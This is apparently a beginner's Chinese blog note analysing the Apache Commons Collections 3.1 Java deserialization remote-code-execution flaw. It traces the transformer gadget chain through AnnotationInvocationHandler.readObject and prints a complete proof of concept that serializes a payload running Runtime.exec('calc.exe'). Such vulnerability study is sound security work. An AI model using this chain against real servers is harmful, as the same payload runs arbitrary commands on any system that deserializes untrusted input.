java反序列化学习(一)

JAVA Apache-CommonsCollections3.1 反序列化RCE漏洞分析

初学Java反序列化,做点笔记

漏洞分析

关注该组件中InvokerTransformer类的transform方法,实现如下

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" +  this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" +  this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" +  this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

调用该方法时会传入一个对象,参数为空返回为空,不为空时就会先得到class对象,通过calsss对象的getMethod()方法得到Method实例,再通过该实例的invoke方法实现反射调用传入对象的方法,并且查看构造方法如下

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

三个参数都是可控的,可以借助InvokerTransformer来执行命令

这里注意的是Runtime实例是不能被序列化的,只能通过服务端拿到Runtime的实例。

这里我们需要注意到input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类
  • 当input是一个类时,获取到的是java.lang.Class
import org.apache.commons.collections.functors.InvokerTransformer;


public class InvokerTransformerDemo {
    public static void main(String[] args) throws Exception {
        //Class runtimeClass=Class.forName("java.lang.Runtime");1.获得Runtime对象
        //Object runtime=runtimeClass.getMethod("getRuntime").invoke(null);2.通过反射拿到getRuntime方法
        //runtimeClass.getMethod("exec",  String.class).invoke(runtime,"calc.exe");3.通过反射执行java.lang.Runtime.getRuntime().exec("calc.exe")



        Class runtimeClass=Class.forName("java.lang.Runtime");


        //借助InvokerTransformer调用runtimeClass的getMethod方法,参数是getRuntime,最后返回的其实是一个Method对象即getRuntime方法
        Object m_getMethod=new InvokerTransformer("getMethod",new Class[] {
                String.class,Class[].class},new Object[] {
                "getRuntime",null
        }//new Class[] { AirlineAgency.Class }创建一个Class对象的单元素数组,并将唯一的元素初始化为AirlineAgency.class。
         ).transform(runtimeClass);//runtimeClass.getClass().getMethod("getMethod",String.class,Class[].class).invoke("runtimeClass","getRuntime")


        //借助InvokerTransformer调用m_getMethod的invoke方法,没有参数,最后返回的其实是runtime这个对象
        Object runtime=new InvokerTransformer("invoke",new Class[] {
                Object.class,Object[].class},new Object[] {
                null,null
        }
         ).transform(m_getMethod);//m_getMethod.getClass().getMethod("invoke",Object.class,Object[].class).invoke(object"m_getMethod","null")


        //借助InvokerTransformer调用runtime的exec方法,参数为calc.exe,返回的自然是一个Process对象
        Object exec=new InvokerTransformer("exec",new Class[] {
                String.class},new Object[] {
                "calc.exe"
        }
         ).transform(runtime);//runtime.getClass().getMethod("exec",String.class).invoke("runtime","calc.exe")
    }
}

所以InvokerTransformer类可以通过java反射调用任意函数。

然后看到下面这两个类。

ConstantTransformer类部分实现如下,transform方法就是返回iConstant,构造函数参数可控
public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}


public Object transform(Object input) {
    return this.iConstant;
}

ChainedTransformer类部分实现如下,构造函数传入一个数组,然后transform方法中遍历每个iTransformers并调用transform方法,并且将每次的返回值作为了下一个Transformer的参数。

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}


public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }


    return object;
}

利用ChainedTransformer类transform方法循环构造我们想要传入的对象,利用ConstantTransformer类的transform方法传入Runtime.class的实例,再利用InvokerTransformer类的transform方法能实现反射调用任意函数实现RCE.

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;


public class ReflectionChain {
    public static void main(String[] args) throws Exception {


        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };


        ChainedTransformer chain= new ChainedTransformer(transformers);
        chain.transform(null);
    }}

java反序列化学习(一)_第1张图片

到这里我们还要找到一个可以触发ChainedTransformer类的transform方法

如何调用共该类的transform方法?TransformedMap类提供将map和转换链绑定的构造函数,只需要添加数据至map中就会自动调用这个转换链执行payload。

找到TransformedMap的类

public static Map decorate(Map map, Transformer keyTransformer, Transformer  valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}


protected TransformedMap(Map map, Transformer keyTransformer, Transformer  valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
......

protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

checkSetValue方法中返回this.valueTransformer.transform(value),this.valueTransformer可控,看到decorate方法,是对外创建TransformMap对象,参数和构造方法里的参数一样也含有Transformer valueTransformer。

Map innermap = new HashMap();
innermap.put("key", "value");
Map outmap = TransformedMap.decorate(innermap, null, chain);

所以把之前的反射链传入该对象,传进去之后怎么去触发checkSetValue方法呢

该类继承了AbstractInputCheckedMapDecorator类

static class MapEntry extends AbstractMapEntryDecorator {
    private final AbstractInputCheckedMapDecorator parent;


    protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }


    public Object setValue(Object value) {
        value = this.parent.checkSetValue(value);
        return super.entry.setValue(value);
    }
}

Set> entrySet();

Map.Entry接口的setValue()函数最终会触发checkSetValue()函数

Map.Entry onlyElement = (Map.Entry) outmap.entrySet().iterator().next();
onlyElement.setValue(“foobar”);

目前需要Map.Entry去调用setValue(),然后找某处可以反序列化的地方能调用setValue()方法,需要找到某处重写了readObject()方法,找到AnnotationInvocationHandler类实现如下

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;
    private transient volatile Method[] memberMethods = null;


    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String,  Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class)  {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a  non-annotation type.");
        }
    }

......
private void readObject(ObjectInputStream var1) throws IOException,  ClassNotFoundException {
    GetField var2 = var1.readFields();
    Class var3 = (Class)var2.get("type", (Object)null);
    Map var4 = (Map)var2.get("memberValues", (Object)null);
    AnnotationType var5 = null;


    try {
        var5 = AnnotationType.getInstance(var3);
    } catch (IllegalArgumentException var13) {
        throw new InvalidObjectException("Non-annotation type in annotation serial  stream");
    }


    Map var6 = var5.memberTypes();
    LinkedHashMap var7 = new LinkedHashMap();


    String var10;
    Object var11;
    for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext();  var7.put(var10, var11)) {
        Entry var9 = (Entry)var8.next();
        var10 = (String)var9.getKey();
        var11 = null;
        Class var12 = (Class)var6.get(var10);
        if (var12 != null) {
            var11 = var9.getValue();
            if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() +  "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
            }
        }
    }


    AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
    AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

该类类成员变量memberValues是Map类型,readObject()函数中对于我们传入构造函数的map进行遍历赋值,memberValues.entrySet()的每一项调用了setValue()方法,目的达到。

最后poc

import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.TransformedMap;


public class Poc {


    public static void main(String[] args) throws Exception {
        Transformer[] transformers=new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[] {
                        String.class,Class[].class},new Object[] {
                        "getRuntime",null
                        }
                ),
                new InvokerTransformer("invoke",new Class[] {
                        Object.class,Object[].class},new Object[] {
                        null,null
                        }
                ),
                new InvokerTransformer("exec",new Class[] {
                        String.class},new Object[] {
                        "calc.exe"
                        }
                )
        };


        ChainedTransformer chain= new ChainedTransformer(transformers);


        Map innermap = new HashMap();
        innermap.put("key", "value");
        Map outmap = TransformedMap.decorate(innermap, null, chain);


        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, outmap);


        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }


}

利用链如下
java反序列化学习(一)_第2张图片

总结

命令执行点。参数可控通过反射实现RCE,漏洞起始点
利用链。服务器能反序列化我们的payload并一层一层进行调用
readObject复写点。和外部相连接并且能和利用链相连接即传入的数据能够通过该函数能够执行我们的利用链,漏洞终点。

ps:参考先知的几篇文章,本人初学java代码审计勿喷,有错误大佬帮忙指导下

你可能感兴趣的:(代码审计,代码审计,java反序列化,安全)